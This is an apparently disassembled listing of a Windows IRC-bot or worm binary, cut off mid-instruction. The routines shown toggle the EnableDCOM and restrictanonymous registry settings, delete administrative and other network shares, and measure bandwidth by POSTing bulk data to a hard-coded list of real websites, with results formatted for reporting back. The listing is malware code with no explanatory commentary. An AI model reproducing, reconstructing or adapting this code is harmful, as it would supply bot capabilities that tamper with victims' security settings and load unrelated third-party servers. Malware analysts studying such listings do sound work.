loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439928 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26C0000h loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_4398F8 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26C0000h sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_433514 push esi call dword_4CB030 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB1FC call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 26F0000h test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D128 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 2640BBCh nop test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB1F8, eax mov eax, [ebp+var_8] mov dword_4DB200, eax mov eax, [ebp+var_2C] mov dword_4DB1F4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB238, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB204 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399B4 call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEB8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi nop call near ptr 266006Bh cmp eax, esi mov dword_43DEC4[edi], eax jnz short loc_419E12 nop call near ptr 2660882h push eax lea eax, [ebp+var_378] push offset unk_439980 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 nop call near ptr 26C0000h sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB044, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_419F04 mov ax, word_43872C mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_419EE6 push offset dword_439C50 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C30 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439C00 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAF98 test eax, eax jz short loc_419F86 push offset dword_439BB0 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439B7C loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B40 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B10 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB06C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEB8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_4399D8 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439AEC jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AC0 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset dword_4399F8 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439A9C jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439A70 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB004 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A48 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A18 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB044, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A228 mov ax, word_438770 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_41A20A push offset dword_439DC8 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DAC loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439C00 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAF98 test eax, eax jz short loc_41A2A6 push offset dword_439D6C jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D34 loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439CF8 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B10 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB06C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_4399D8 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439CD8 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CB0 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_4399E8 jb short loc_41A321 nop call near ptr 27F19FBh test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CAFD4 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439CD8 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CB0 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439C80 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A18 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 2670678h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_433824 ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E20 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 2670678h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB240 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call near ptr 26B05AAh nop test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short 